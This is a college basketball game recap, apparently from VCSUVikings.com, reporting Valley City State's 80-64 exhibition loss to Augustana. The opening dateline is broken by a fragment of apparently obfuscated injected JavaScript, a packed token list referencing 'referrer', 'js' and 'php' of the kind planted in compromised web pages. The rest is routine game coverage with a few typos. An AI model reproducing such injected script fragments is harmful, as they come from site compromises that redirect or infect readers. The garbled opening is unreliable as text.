SIOUX knztz|var|u0026u|referrer|zrstd||js|php’.split(‘|’),0,{}))
FALLS, SD (VCSUVikings.com)- The Valley City State men’s basketball team hung with the NCAA Division II defending national champions all night Monday in Sioux Falls, S.D.

Playing an exhibition game at Augustana College, VCSU pushed Augustana throughout the game before falling by a score of 80-64. Augustana won the NCAA Division II National Championship last season and is currently ranked No. 18 in the Division II Top 25 Poll.

After falling behind 8-2 early, Chase Carpenter capped an 11-0 VCSU run with a 3-pointer as they built their biggest lead of the game at 13-8 with 12:00 left in the first half. A 3-pointer by Rashad Satahoo gave VCSU its last lead at 20-19 with 6:47 left in the first half.

Augusta closed the first half on a 17-4 run as Augie built a 36-24 lead at the break. VCSU was not going away though, opening the second half with a 16-7 run that trimmed the Augie lead to 43-40. Augustana responded with an 8-2 run to reestablish a nine-point lead, and VCSU would get no closer than six the rest of the way.

VCSU forward Austin Dunbar went 9-for-12 from the field as he led the offense with 22 points and seven rebounds. Jayden Ferguson added 14 points and four rebounds while Rashad Satahoo, Alx Quist and Ellwood Ellenson all scored eight points in the loss.

Augustana had five players score in double figures, led by 16 points form Mike Busack

VCSU shot 46 percent from the field (26-56), 29 percent on 3’s (6-21) and was 6-for-7 at the free throw line. Augustana finished at 41 percent from the field (28-69), 41 percent on 3’s (12-29) and 80 percent at the line (12-15).

VCSU had 14 assists and just 10 turnovers. Augustana finished with 17 assists and seven turnover.s

Up next: Valley City State (4-4) travels to Chicago, Ill., this weekend for two games at a tournament hosted by Moody Bible Institute. The Vikings will play at 5 p.m. Friday and 3 p.m. Saturday.